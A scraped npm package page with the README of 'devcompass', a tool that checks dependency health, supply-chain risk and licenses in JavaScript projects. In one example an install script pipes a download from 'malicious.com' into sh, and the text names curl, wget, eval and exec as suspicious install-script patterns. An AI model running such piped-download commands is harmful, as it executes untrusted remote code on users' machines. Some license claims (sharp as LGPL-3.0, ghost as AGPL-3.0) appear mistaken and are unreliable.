npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

devcompass

v2.8.3

Published

Dependency health checker with ecosystem intelligence, real-time GitHub issue tracking for 500+ popular npm packages, supply chain security with auto-fix, license conflict resolution with auto-fix, package quality auto-fix, parallel processing, advanced l

Readme

🧭 DevCompass

Dependency health checker with ecosystem intelligence, real-time GitHub issue tracking for 500+ popular npm packages, supply chain security with auto-fix, license conflict resolution with auto-fix, package quality auto-fix, parallel processing, advanced license risk detection, and enhanced fix command with dry-run mode, progress tracking, and automatic backups.

npm version npm downloads License: MIT

Analyze your JavaScript projects to find unused dependencies, outdated packages, detect security vulnerabilities, monitor GitHub issues in real-time for 500+ packages, check bundle sizes, verify licenses, detect and auto-fix supply chain attacks, resolve license conflicts automatically, replace abandoned/deprecated packages automatically, analyze package quality, and automatically fix issues with dry-run, progress tracking, and backups. Perfect for CI/CD pipelines with JSON output and exit codes.

LATEST v2.8.3: Package quality auto-fix - Automatic replacement of abandoned/deprecated packages! 📦
PREVIOUS v2.8.2: License conflict auto-fix - Automatic GPL/AGPL replacement with MIT alternatives! ⚖️
NEW in v2.8.1: Supply chain auto-fix - Automatic malicious package removal & typosquatting fixes! 🛡️
NEW in v2.8.0: Enhanced fix command - Dry-run, progress tracking, backups & reports! 🔧

🎉 Latest Update: v2.8.3 - Package Quality Auto-Fix

Automatic replacement of abandoned, deprecated, and stale packages! DevCompass now automatically replaces unmaintained packages with modern alternatives.

What's New in v2.8.3:

  • 📦 Abandoned Package Replacement - Automatically replaces packages 2+ years old
  • 🔴 Deprecated Package Replacement - Replaces officially deprecated packages
  • 🟡 Stale Package Replacement - Replaces packages 1-2 years without updates
  • 📚 Alternative Database - Curated database of 50+ modern alternatives
  • 🔧 Integrated Fix Workflow - Works seamlessly with supply chain and license fixes
  • 📊 Fix Summary Display - Shows breakdown of quality fixes applied
  • 🛡️ Priority Execution - Quality fixes run THIRD (after supply chain and license)

Example workflow:

# Preview all fixes including quality improvements
devcompass fix --dry-run

# Apply all fixes (quality fixes applied automatically)
devcompass fix

# Auto-apply in CI/CD
devcompass fix --yes

Enhanced output:

🔧 DevCompass Fix Step 1: Analyzing issues... ✔ Analysis complete Step 2: Planned fixes 🔴 SUPPLY CHAIN SECURITY FIXES expresss → Similar to: express (official package) Action: Remove expresss and install express 🟠 LICENSE CONFLICT FIXES sharp → License conflict: LGPL-3.0 Replace with: jimp (MIT) 🔵 PACKAGE QUALITY FIXES moment → Package is deprecated Replace with: dayjs Action: Replace with dayjs request → Package is deprecated Replace with: axios Action: Replace with axios Total fixes to apply: 11 Step 5: Applying fixes... ⠹ Fixing typosquatting: expresss → express... [1/11] 9% ⠹ Replacing sharp with jimp... [2/11] 18% ⠹ Replacing moment with dayjs... [3/11] 27% ⠹ Replacing request with axios... [4/11] 36% ✓ Supply Chain Fixes Applied: 1 • Typosquats fixed: 1 ✓ License Conflict Fixes Applied: 1 • LGPL packages replaced: 1 ✓ Package Quality Fixes Applied: 2 • Abandoned/deprecated packages replaced: 2 ✓ Successfully applied 11 fix(es)!

Upgrade now:

npm install -g [email protected]

🎉 v2.8.2 Features

Automatic replacement of GPL/AGPL packages with MIT/Apache alternatives! DevCompass automatically resolves license conflicts.

What's New in v2.8.2:

  • ⚖️ License Conflict Detection - Identifies GPL/AGPL/LGPL conflicts with your project license
  • 🔄 Automatic Replacement - Replaces conflicting packages with compatible alternatives
  • 📦 Alternative Database - Curated database of 50+ package replacements
  • 🔧 Integrated Fix Workflow - Works seamlessly with supply chain and security fixes
  • 📊 Fix Summary Display - Shows breakdown of license fixes applied
  • 🛡️ Priority Execution - License conflicts run SECOND (after supply chain, before security)

🎉 v2.8.1 Features

Automatic removal of malicious packages and typosquatting fixes! DevCompass automatically fixes supply chain security issues.

What's New in v2.8.1:

  • 🔴 Malicious Package Removal - Automatically removes known malicious packages
  • 🎯 Typosquatting Auto-Fix - Removes typosquats and installs correct packages (e.g., expresssexpress)
  • ⚠️ Suspicious Script Handling - Removes packages with dangerous install scripts
  • 🔧 Integrated Fix Workflow - Works seamlessly with dry-run, backups, and reports
  • 📊 Fix Summary Display - Shows breakdown of supply chain fixes applied
  • 🛡️ Priority Execution - Supply chain fixes run FIRST (before other fixes)

🎉 v2.8.0 Features

Major improvements to the fix command! DevCompass includes dry-run mode, progress tracking, automatic backups, and detailed fix reports.

What's New in v2.8.0:

  • 🔍 Dry-Run Mode - Preview fixes without making changes (--dry-run or --dry)
  • 📊 Progress Tracking - Real-time progress with ETA and percentage completion
  • 💾 Automatic Backups - Creates backup before applying any fixes
  • 📄 Fix Reports - Detailed JSON reports saved to devcompass-fix-report.json
  • Enhanced Error Handling - Graceful failure recovery with detailed error messages
  • 🎯 6-Step Workflow - Clear step-by-step process from analysis to completion

✨ Features

  • 📦 Package Quality Auto-Fix (v2.8.3) - Automatic replacement of abandoned/deprecated packages
  • ⚖️ License Conflict Auto-Fix (v2.8.2) - Automatic GPL/AGPL replacement with MIT alternatives
  • 🛡️ Supply Chain Auto-Fix (v2.8.1) - Automatic malicious package removal & typosquatting fixes
  • 🔧 Enhanced Fix Command (v2.8.0) - Dry-run, progress tracking, backups & reports
  • 🛡️ Supply Chain Security (v2.7) - Malicious package & typosquatting detection
  • ⚖️ License Risk Analysis (v2.7) - Enhanced license compliance checking
  • 📊 Package Quality Metrics (v2.7) - Health scoring for dependencies
  • 💡 Security Recommendations (v2.7) - Prioritized, actionable fixes
  • Parallel Processing (v2.6) - 80% faster GitHub issue tracking
  • 🎯 500+ Package Coverage (v2.5) - Comprehensive ecosystem monitoring
  • 🔮 GitHub Issue Tracking (v2.4) - Real-time monitoring of package health
  • 📈 Predictive Warnings (v2.4) - Detect issues before they're announced
  • 🔐 Security Scanning (v2.3) - npm audit integration with severity breakdown
  • 📦 Bundle Size Analysis (v2.3) - Identify heavy packages (> 1MB)
  • ⚖️ License Checker (v2.3) - Detect restrictive licenses (GPL, AGPL)
  • 🚀 CI/CD Integration (v2.2) - JSON output, exit codes, and silent mode
  • Smart Caching (v2.2) - 93% faster on repeated runs
  • 🎛️ Advanced Filtering (v2.2) - Control alerts by severity level
  • 🚨 Ecosystem Intelligence (v2.0) - Detect known issues before they break production
  • 🔍 Detect unused dependencies - Find packages you're not actually using
  • 📊 Project health score - Get a 0-10 rating for your dependencies
  • 🎨 Beautiful terminal UI - Colored output with severity indicators
  • 🔧 Framework-aware - Handles React, Next.js, Angular, NestJS, PostCSS, Tailwind

🚀 Installation

Global installation (recommended):

npm install -g devcompass

Local installation:

npm install --save-dev devcompass

One-time use (no installation):

npx devcompass analyze

📖 Usage

Basic Commands

# Analyze your project
devcompass analyze

# Auto-fix issues (includes supply chain + license + quality fixes!)
devcompass fix

# Preview fixes without making changes
devcompass fix --dry-run

# Auto-fix without confirmation (CI/CD)
devcompass fix --yes

# JSON output (for CI/CD)
devcompass analyze --json

# CI mode (exit code 1 if score < threshold)
devcompass analyze --ci

# Silent mode (no output)
devcompass analyze --silent

📦 Package Quality Auto-Fix (NEW in v2.8.3!)

DevCompass can automatically replace abandoned, deprecated, and stale packages with modern alternatives!

What it fixes:

  • 🔴 Abandoned packages - Replaces packages 2+ years without updates
  • 🔴 Deprecated packages - Replaces officially deprecated packages
  • 🟡 Stale packages - Replaces packages 1-2 years without updates

How it works:

# 1. Analyze your project (detects quality issues)
devcompass analyze

# 2. Preview all fixes including quality improvements
devcompass fix --dry-run

# 3. Apply fixes (quality fixes applied automatically)
devcompass fix

# 4. Check the fix report
cat devcompass-fix-report.json

Fix Priority Order (v2.8.3):

  1. 🔴 Supply Chain Security (FIRST - Critical!)
    • Malicious package removal
    • Typosquatting fixes
    • Suspicious script removal
  2. 🟠 License Conflicts (SECOND - Legal Compliance!)
    • GPL package replacement
    • AGPL package replacement
    • LGPL package replacement
  3. 🔵 Package Quality (THIRD - Maintainability!) ← NEW
    • Abandoned package replacement
    • Deprecated package replacement
    • Stale package replacement
  4. 🔴 Critical Security - npm audit vulnerabilities
  5. 🟠 Ecosystem Alerts - Known package issues
  6. 🟡 Unused Dependencies - Cleanup
  7. 🔵 Safe Updates - Patch/minor updates

Example Output:

Step 5: Applying fixes... ⠹ Replacing moment with dayjs... [3/11] 27% ⠹ Replacing request with axios... [4/11] 36% ✓ Package Quality Fixes Applied: 2 • Abandoned/deprecated packages replaced: 2 📊 FIX REPORT Fixes Applied:

moment → Replaced with dayjs Reason: Package is deprecated Migration guide: https://day.js.org/docs/en/parse/string-format request → Replaced with axios Reason: Package is deprecated Migration guide: https://github.com/axios/axios#example

Safety Features (v2.8.3):

  • Dry-run mode - Preview quality fixes before applying
  • Automatic backups - Created before any changes
  • Detailed reports - Every fix documented in JSON
  • Priority execution - Quality fixes run THIRD (after supply chain and license)
  • Confirmation prompts - For package replacements (unless --yes)
  • Migration guides - URLs provided for common migrations
  • Error handling - Graceful recovery on failures

What Gets Auto-Fixed:

Deprecated Packages (Auto-replaced)

# Detected:
moment (deprecated package)

# Fixed automatically:
npm uninstall moment && npm install dayjs
# dayjs is actively maintained

Abandoned Packages (Auto-replaced)

# Detected:
request (abandoned - last update 2020)

# Fixed automatically:
npm uninstall request && npm install axios
# axios is actively maintained

Stale Packages (Auto-replaced)

# Detected:
depcheck (stale - 30 months old)

# Fixed automatically:
npm uninstall depcheck && npm install knip
# knip is actively maintained

Alternative Package Database:

Currently supported (50+ alternatives):

Deprecated Packages:

  • requestaxios, got, ky
  • momentdayjs, date-fns, luxon
  • tslinteslint
  • node-sasssass (Dart Sass)
  • babel-core@babel/core
  • colorschalk
  • enzyme@testing-library/react
  • faker@faker-js/faker

Obsolete (Native Node.js):

  • mkdirpfs.mkdir({recursive: true})
  • rimraffs.rm({recursive: true})
  • node-fetch → native fetch (Node 18+)
  • body-parserexpress.json() (Express 4.16+)
  • async → native async/await
  • bluebird → native Promise

Abandoned Packages:

  • protractorplaywright
  • karmavitest
  • phantomjsplaywright
  • bowernpm
  • gruntvite

Stale Packages:

  • depcheckknip, npm-check

Use Cases:

Perfect for:

  • 🏢 Development Teams - Keep dependencies modern and maintained
  • 🔄 CI/CD Pipelines - Automated dependency modernization
  • 📦 Package Maintainers - Keep dependencies up-to-date
  • 🧪 Testing - Validate dependency quality with dry-run
  • 🛡️ Security Teams - Replace unmaintained packages

⚖️ License Conflict Auto-Fix (v2.8.2)

DevCompass can automatically resolve license conflicts in your project!

What it fixes:

  • 🔴 GPL conflicts - Replaces GPL packages with MIT/Apache alternatives
  • 🔴 AGPL conflicts - Replaces AGPL packages with permissive alternatives
  • 🟠 LGPL conflicts - Replaces LGPL packages with MIT alternatives

How it works:

# 1. Analyze your project (detects license conflicts)
devcompass analyze

# 2. Preview all fixes including license conflicts
devcompass fix --dry-run

# 3. Apply fixes (license conflicts fixed automatically)
devcompass fix

# 4. Check the fix report
cat devcompass-fix-report.json

Example Output:

Step 5: Applying fixes... ⠹ Replacing sharp with jimp... [2/9] 22% ⠹ Replacing readline with readline-sync... [3/9] 33% ✓ License Conflict Fixes Applied: 2 • GPL packages replaced: 1 • LGPL packages replaced: 1 📊 FIX REPORT Fixes Applied:

sharp → Replaced with jimp Old License: LGPL-3.0 → New License: MIT readline → Replaced with readline-sync Old License: GPL-3.0 → New License: MIT

Safety Features (v2.8.2):

  • Dry-run mode - Preview license conflict fixes before applying
  • Automatic backups - Created before any changes
  • Detailed reports - Every fix documented in JSON
  • Priority execution - License conflicts run SECOND (after supply chain)
  • Confirmation prompts - For package replacements (unless --yes)
  • Error handling - Graceful recovery on failures

🛡️ Supply Chain Auto-Fix (v2.8.1)

DevCompass can automatically fix supply chain security issues in your project!

What it fixes:

  • 🔴 Malicious packages - Automatically removes known malicious packages
  • 🎯 Typosquatting - Removes typosquats and installs correct packages
  • ⚠️ Suspicious scripts - Removes packages with dangerous install scripts (with confirmation)

How it works:

# 1. Analyze your project (detects supply chain issues)
devcompass analyze

# 2. Preview all fixes including supply chain
devcompass fix --dry-run

# 3. Apply fixes (supply chain fixes run FIRST)
devcompass fix

# 4. Check the fix report
cat devcompass-fix-report.json

Example Output:

Step 5: Applying fixes... ⠹ Fixing typosquatting: expresss → express... [1/7] 14% ⠹ Removing malicious package: bad-package... [2/7] 28% ✓ Supply Chain Fixes Applied: 2 • Malicious packages removed: 1 • Typosquats fixed: 1 📊 FIX REPORT Fixes Applied:

expresss → Replaced typosquat with express From: expresss → To: express bad-package → Removed malicious package


🔧 Auto-Fix Command (Enhanced in v2.8.0!)

DevCompass can automatically fix issues in your project with advanced features!

What it does:

  • 📦 Fixes package quality - Abandoned/deprecated replacement (v2.8.3)
  • ⚖️ Fixes license conflicts - GPL/AGPL replacement (v2.8.2)
  • 🛡️ Fixes supply chain issues - Malicious packages, typosquatting (v2.8.1)
  • 🔴 Fixes critical security issues - Upgrades packages with known vulnerabilities
  • 🧹 Removes unused dependencies - Cleans up packages you're not using
  • ⬆️ Safe updates - Applies patch and minor updates automatically
  • ⚠️ Skips breaking changes - Major updates require manual review
  • 🔄 Clears cache - Ensures fresh analysis after fixes (v2.4+)
  • 🔍 Dry-run mode - Preview changes without applying (v2.8.0)
  • 📊 Progress tracking - Real-time updates with ETA (v2.8.0)
  • 💾 Automatic backups - Creates backup before fixes (v2.8.0)
  • 📄 Fix reports - Detailed JSON reports (v2.8.0)

Usage

# Preview fixes without making changes
devcompass fix --dry-run
devcompass fix --dry  # Shorthand

# Interactive mode (asks for confirmation)
devcompass fix

# Auto-apply without confirmation (for CI/CD)
devcompass fix --yes
devcompass fix -y

# Fix specific directory
devcompass fix --path /path/to/project

# Combine options
devcompass fix --path ./my-project --yes

New Features (v2.8.3)

1. Package Quality Auto-Fix 📦

Automatic replacement of abandoned/deprecated packages:

Deprecated Package Replacement:

# Before:
[email protected] (deprecated package)

# After auto-fix:
moment removed → [email protected] installed (actively maintained)

Abandoned Package Replacement:

# Before:
[email protected] (abandoned - 2020)

# After auto-fix:
request removed → [email protected] installed (actively maintained)

Stale Package Replacement:

# Before:
[email protected] (stale - 30 months old)

# After auto-fix:
depcheck removed → knip@latest installed (actively maintained)

New Features (v2.8.2)

1. License Conflict Auto-Fix ⚖️

Automatic replacement of GPL/AGPL/LGPL packages:

GPL Package Replacement:

# Before:
[email protected] (GPL-3.0 license)

# After auto-fix:
readline removed → [email protected] installed (MIT license)

LGPL Package Replacement:

# Before:
[email protected] (LGPL-3.0 license)

# After auto-fix:
sharp removed → [email protected] installed (MIT license)

AGPL Package Replacement:

# Before:
[email protected] (AGPL-3.0 license)

# After auto-fix:
ghost removed → [email protected] installed (MIT license)

New Features (v2.8.1)

1. Supply Chain Auto-Fix 🛡️

Automatic removal of malicious packages and typosquatting fixes:

Malicious Package Removal:

# Before:
[email protected] (malicious package)

# After auto-fix:
Package removed automatically

Typosquatting Fix:

# Before:
[email protected] (typosquat)

# After auto-fix:
expresss removed → [email protected] installed

Suspicious Scripts:

# Before:
[email protected] (install script: curl malicious.com | sh)

# After auto-fix (with confirmation):
Package removed after confirmation

New Features (v2.8.0)

1. Dry-Run Mode 🔍

Test fixes safely before applying:

devcompass fix --dry-run
  • Shows complete fix plan
  • Zero risk testing
  • Perfect for validation in CI/CD
  • No changes made to your project

2. Progress Tracking 📊

Real-time feedback during fixes:

  • Shows current step (X/Y) with percentage
  • Displays elapsed time
  • Shows estimated time remaining (ETA)
  • Live package-by-package updates

Example:

⠹ Updating axios... [3/7] 43% • 2.1s elapsed • ETA: 2.8s

3. Automatic Backups 💾

Safety net before any changes:

  • Backs up package.json and package-lock.json
  • Stored in .devcompass-backups/
  • Keeps last 5 backups (auto-cleanup)
  • Timestamped for easy identification

Backup location:

.devcompass-backups/ ├── backup-2026-04-05T10-30-00-000Z/ │ ├── package.json │ ├── package-lock.json │ └── metadata.json └── ...

4. Fix Reports 📄

Comprehensive documentation of all changes:

  • Saved to devcompass-fix-report.json
  • Lists all fixes applied with timestamps
  • Tracks errors and skipped items
  • Duration tracking for performance analysis
  • Terminal display with color-coded output

Report structure:

{
  "summary": {
    "totalFixes": 11,
    "totalErrors": 0,
    "totalSkipped": 2,
    "duration": "7.82s",
    "timestamp": "2026-04-05T10:30:00.000Z"
  },
  "fixes": [
    {
      "type": "supply-chain",
      "package": "expresss",
      "action": "Replaced typosquat with express",
      "metadata": {
        "from": "expresss",
        "to": "express"
      }
    },
    {
      "type": "license-conflict",
      "package": "sharp",
      "action": "Replaced with jimp",
      "metadata": {
        "from": "sharp",
        "to": "jimp",
        "oldLicense": "LGPL-3.0",
        "newLicense": "MIT"
      }
    },
    {
      "type": "quality",
      "package": "moment",
      "action": "Replaced with dayjs",
      "metadata": {
        "from": "moment",
        "to": "dayjs",
        "reason": "Package is deprecated",
        "status": "DEPRECATED"
      }
    }
  ],
  "errors": [],
  "skipped": []
}

5. Enhanced Error Handling ⚡

Robust failure recovery:

  • Continues on partial errors
  • Detailed error reporting
  • Clear error messages
  • Non-blocking execution
  • Backup reminder on failure

6. 6-Step Workflow 🎯

Clear, organized process:

  1. Analyze issues - Scan project for fixable problems
  2. Show plan - Display categorized fix plan
  3. Confirm - Get user confirmation (unless --yes or --dry-run)
  4. Backup - Create automatic backup
  5. Apply fixes - Execute fixes with progress tracking
  6. Report - Generate and display comprehensive report

Safety Features

  • ✅ Shows what will be changed before applying
  • ✅ Requires confirmation (unless --yes flag used)
  • ✅ Skips major updates (may have breaking changes)
  • ✅ Groups actions by priority (supply chain → license → quality → security → cleanup → updates)
  • ✅ Clears cache after fixes (v2.4+)
  • ✅ Provides clear summary of changes
  • ✅ Creates automatic backup before any changes (v2.8.0)
  • ✅ Dry-run mode for safe testing (v2.8.0)
  • ✅ Detailed error messages and recovery (v2.8.0)
  • ✅ Supply chain fixes run FIRST (v2.8.1)
  • ✅ License conflict fixes run SECOND (v2.8.2)
  • ✅ Package quality fixes run THIRD (v2.8.3)

Workflow Examples

Local Development

# 1. Preview what will be fixed
devcompass fix --dry-run

# 2. Review the plan, then apply
devcompass fix

# 3. Verify improvements
devcompass analyze

CI/CD Pipeline

# Dry-run in PR checks (no changes)
devcompass fix --dry-run

# Auto-apply in deployment pipeline
devcompass fix --yes

Emergency Security Fix

# Quick fix for critical vulnerabilities
devcompass fix --yes

# Check the fix report
cat devcompass-fix-report.json

What Gets Fixed

Priority 1: Supply Chain Security 🛡️ (v2.8.1)

  • Malicious package removal
  • Typosquatting fixes
  • Suspicious script removal

Priority 2: License Conflicts ⚖️ (v2.8.2)

  • GPL package replacement
  • AGPL package replacement
  • LGPL package replacement

Priority 3: Package Quality 📦 (NEW in v2.8.3!)

  • Abandoned package replacement
  • Deprecated package replacement
  • Stale package replacement

Priority 4: Critical Security 🔴

  • Critical and high severity vulnerabilities
  • Runs npm audit fix
  • Upgrades to secure versions

Priority 5: Ecosystem Alerts 🟠

  • Critical and high severity known issues
  • Upgrades to recommended versions
  • Fixes package-specific problems

Priority 6: Unused Dependencies 🟡

  • Removes packages not used in code
  • Cleans up node_modules
  • Reduces security surface

Priority 7: Safe Updates 🔵

  • Patch and minor version updates
  • No breaking changes
  • Gets bug fixes and improvements

Skipped: Major Updates

  • Shown but not auto-applied
  • May have breaking changes
  • Requires manual review

Use Cases

Perfect for:

  • 🏢 Development Teams - Safe, automated dependency maintenance
  • 🔄 CI/CD Pipelines - Automated fixes with --yes flag
  • 🛡️ Security Teams - Quick vulnerability resolution + supply chain + license + quality fixes
  • ⚖️ Legal/Compliance Teams - Automated license compliance
  • 📦 Package Maintainers - Keeping dependencies up-to-date, compliant, and modern
  • 📊 Auditing - Detailed fix reports for compliance
  • 🧪 Testing - Dry-run mode for validation

Performance

v2.8.3 Improvements:

  • Quality fixes third - Maintainability improvements after legal compliance
  • License conflicts second - Legal compliance fixes after supply chain
  • Supply chain first - Critical security fixes applied immediately
  • Parallel execution - Multiple fixes run in parallel where safe
  • Progress visibility - Know exactly what's happening
  • Better error recovery - Continues despite partial failures

Typical execution time:

  • Small project (5 fixes): ~5-10 seconds
  • Medium project (15 fixes): ~15-25 seconds
  • Large project (30 fixes): ~30-45 seconds

Backup Management

Automatic cleanup:

  • Keeps last 5 backups
  • Automatically removes older backups
  • Minimal disk space usage

Manual backup restoration:

# List available backups
ls .devcompass-backups/

# Restore from specific backup
cp .devcompass-backups/backup-TIMESTAMP/package.json package.json
cp .devcompass-backups/backup-TIMESTAMP/package-lock.json package-lock.json

# Then reinstall
npm install

Troubleshooting

If fix fails:

  1. Check the error message in terminal
  2. Review devcompass-fix-report.json for details
  3. Your backup is available in .devcompass-backups/
  4. Restore from backup if needed
  5. Report issue on GitHub

Common issues:

  • Network errors: Check internet connection, retry
  • Permission errors: Use sudo (not recommended) or fix npm permissions
  • Lock file conflicts: Commit or stash changes first
  • Disk space: Ensure sufficient space for backups

Workflow Example (Complete)

# 1. Check current health
devcompass analyze
# Output: Health Score: 5.2/10, Supply Chain: 2, License Risks: 1, Quality Issues: 2

# 2. Preview fixes (including supply chain + license + quality)
devcompass fix --dry-run
# Shows: 13 fixes will be applied (2 supply chain + 1 license + 2 quality + 8 others)

# 3. Apply fixes
devcompass fix
# Creates backup, fixes supply chain FIRST, license SECOND, quality THIRD, then others

# 4. Verify improvements
devcompass analyze
# Output: Health Score: 9.5/10, Supply Chain: 0, License Risks: 0, Quality Issues: 0

# 5. Check the detailed report
cat devcompass-fix-report.json

🛡️ Supply Chain Security (v2.7.0 + v2.8.1 Auto-Fix)

DevCompass detects and auto-fixes supply chain attacks including malicious packages, typosquatting, and suspicious install scripts!

What it detects:

  • 🔴 Malicious packages - Known bad actors from curated database
  • 🎯 Typosquatting - Packages with names similar to popular packages (e.g., "epress" vs "express")
  • 📦 Install script warnings - Suspicious postinstall/preinstall hooks
  • 🔗 Dangerous patterns - curl, wget, eval, exec in install scripts

What it auto-fixes (v2.8.1):

  • Malicious packages - Automatically removed
  • Typosquatting - Auto-replaced with correct package
  • ⚠️ Suspicious scripts - Removed with confirmation

Detection Methods:

  • Exact pattern matching - Database of 15+ known malicious packages
  • Levenshtein distance - Detects 1-2 character differences from popular packages
  • Pattern analysis - Scans install scripts for suspicious commands
  • Smart whitelist (v2.7.1) - Prevents false positives for legitimate packages

Example Output:

🛡️ SUPPLY CHAIN SECURITY (3 warnings) 🔴 MALICIOUS PACKAGES DETECTED epress Known malicious package detected → Remove immediately - this package is known to be malicious 🟠 TYPOSQUATTING RISK expresss Similar to: express (official package) Risk: HIGH - Potential malicious package → Remove expresss and install express 🟡 INSTALL SCRIPT WARNING [email protected] Script: postinstall Patterns: curl, eval Risk: MEDIUM - Review install script before use → Review the install script before deployment 💡 Run devcompass fix to automatically fix supply chain issues

Auto-Fix in Action (v2.8.1):

devcompass fix

# Output:
Step 5: Applying fixes...

⠹ Removing malicious package: epress... [1/7] 14%
⠹ Fixing typosquatting: expresss → express... [2/7] 28%

✓ Supply Chain Fixes Applied: 2
  • Malicious packages removed: 1
  • Typosquats fixed: 1

⚖️ License Risk Analysis (v2.7.0 + v2.8.2 Auto-Fix)

Enhanced license compliance checking with business risk scoring, compatibility analysis, and automatic conflict resolution!

License Risk Levels:

CRITICAL RISK (Immediate action required):

  • AGPL-1.0, AGPL-3.0 (Network copyleft - very restrictive)
  • UNLICENSED (No license - all rights reserved)

HIGH RISK (Review with legal team):

  • GPL-1.0, GPL-2.0, GPL-3.0 (Copyleft - requires source disclosure)
  • SEE LICENSE IN, CUSTOM (Custom licenses requiring review)

MEDIUM RISK (Limited obligations):

  • LGPL-2.0, LGPL-2.1, LGPL-3.0 (Weak copyleft)
  • MPL-1.0, MPL-2.0 (File-level copyleft)
  • EPL-1.0, EPL-2.0 (Module-level copyleft)

LOW RISK (Safe for commercial use):

  • MIT, Apache-2.0, BSD, ISC (Permissive)
  • CC0-1.0, Unlicense (Public domain)

License Compatibility Checking:

Detects conflicts between your project license and dependency licenses!

What it auto-fixes (v2.8.2):

  • GPL conflicts - Auto-replaced with MIT alternatives
  • AGPL conflicts - Auto-replaced with permissive alternatives
  • LGPL conflicts - Auto-replaced with MIT alternatives

Example Output:

⚖️ LICENSE RISK ANALYSIS (3 warnings) Project License: MIT 🔴 CRITICAL LICENSE RISKS [email protected] License: AGPL-3.0 Network copyleft - very restrictive → Replace with permissive alternative immediately 🟠 HIGH RISK LICENSES [email protected] License: LGPL-3.0 Requires source code disclosure → Replace with jimp (MIT) 🟡 LICENSE CONFLICT DETECTED Your project: MIT Dependencies with GPL: 2 packages Risk: License compatibility issue → Review legal compliance 💡 Run devcompass fix to automatically resolve license conflicts

Auto-Fix in Action (v2.8.2):

devcompass fix

# Output:
Step 5: Applying fixes...

⠹ Replacing sharp with jimp... [3/9] 33%

✓ License Conflict Fixes Applied: 1
  • LGPL packages replaced: 1

📊 Package Quality Metrics (v2.7.0 + v2.8.3 Auto-Fix)

Comprehensive health scoring for all your dependencies based on maintenance, activity, and community engagement - now with automatic fixes!

Health Score Factors (0-10 scale):

  • Age - Newer packages score higher (max -2 points for 3+ years)
  • Maintenance frequency - Recent updates score higher (max -2 points)
  • GitHub activity - Issue resolution tracked (max -2 points)
  • Dependencies - Fewer dependencies score higher (max -1 point)
  • Documentation - Description and repository presence (max -1 point)
  • Deprecation - Deprecated packages get automatic 0

Package Status Categories:

  • HEALTHY (7-10): Well-maintained, recent updates
  • NEEDS ATTENTION (5-7): Some concerns, monitor closely
  • STALE (3-5): Not updated in 1-2 years
  • ABANDONED (0-3): 2+ years without updates, inactive maintainers
  • DEPRECATED (0): Officially marked as deprecated

What it auto-fixes (v2.8.3):

  • Abandoned packages - Auto-replaced with modern alternatives
  • Deprecated packages - Auto-replaced with maintained alternatives
  • Stale packages - Auto-replaced when alternatives available

Example Output:

📊 PACKAGE QUALITY METRICS (20 analyzed) ✅ HEALTHY PACKAGES (15) react, axios, lodash, express, webpack... 🟡 NEEDS ATTENTION (3) [email protected] Health Score: 6.5/10 Last Update: 8 months ago Open Issues: 45 (12% resolved) → Monitor for updates 🟠 STALE PACKAGES (1) [email protected] Health Score: 4.2/10 Last Update: 18 months ago → Consider finding actively maintained alternative 🔴 ABANDONED PACKAGES (1) [email protected] Health Score: 1.2/10 Last Update: 3 years ago Maintainer: Inactive → Will be replaced with modern alternative 🔴 DEPRECATED PACKAGES (1) [email protected] Package is officially deprecated → Will be replaced with modern alternative 💡 Run devcompass fix to automatically replace abandoned/deprecated packages

Auto-Fix in Action (v2.8.3):

devcompass fix

# Output:
Step 5: Applying fixes...

⠹ Replacing moment with dayjs... [4/11] 36%
⠹ Replacing request with axios... [5/11] 45%

✓ Package Quality Fixes Applied: 2
  • Abandoned/deprecated packages replaced: 2

Performance:

  • Analyzes up to 20 packages per run (prevents rate limiting)
  • ~100ms per package (npm registry API)
  • 1-hour cache duration
  • GitHub data integration for enhanced metrics

💡 Security Recommendations (v2.7.0)

Intelligent, prioritized recommendations with actionable commands and impact analysis!

Priority Levels:

  1. CRITICAL - Immediate security risks (malicious packages, critical vulnerabilities)
  2. HIGH - Production stability issues (typosquatting, GPL conflicts, abandoned packages)
  3. MEDIUM - Maintenance concerns (stale packages, install scripts, unused deps)
  4. LOW - Minor improvements (outdated packages, documentation)

What You Get:

  • Priority-based ordering - Fix critical issues first
  • Copy-paste commands - Ready-to-run npm commands
  • Impact analysis - See expected health score improvement
  • Category grouping - Supply chain, license, security, quality
  • Alternative suggestions - Recommended replacements

Example Output:

💡 SECURITY RECOMMENDATIONS (Prioritized) 🔴 CRITICAL (Fix Immediately)

Remove malicious package Package: epress Action: Remove epress immediately $ npm uninstall epress Impact: Prevents supply chain attack Remove typosquatting package Package: expresss Action: Remove expresss and install express $ npm uninstall expresss && npm install express Impact: Prevents potential supply chain attack High-risk license detected Package: [email protected] Action: Replace with jimp (MIT) $ npm uninstall sharp && npm install jimp Impact: Ensures license compliance

🟠 HIGH (Fix Soon)

Abandoned package detected Package: [email protected] Action: Replace with dayjs $ npm uninstall moment && npm install dayjs Impact: Improves long-term stability Health Score: 0/10 Deprecated package detected Package: [email protected] Action: Replace with axios $ npm uninstall request && npm install axios Impact: Improves maintainability Security vulnerabilities detected Action: Run npm audit fix to resolve vulnerabilities $ npm audit fix Impact: Resolves 12 known vulnerabilities

🟡 MEDIUM (Plan to Fix)

Clean up unused dependencies Action: Remove unused packages $ npm uninstall axios lodash Impact: Reduces node_modules size, improves security surface

📈 Expected Impact: ✓ Current Health Score: 3.8/10 ✓ Expected Score: 9.6/10 ✓ Improvement: +5.8 points (58% increase) ✓ Issues Resolved: 7 critical/high/medium ✓ Eliminate 3 critical security risks ✓ Resolve 4 high-priority issues 💡 TIP: Run devcompass fix to apply automated fixes!

🔮 Predictive Warnings (v2.7.1)

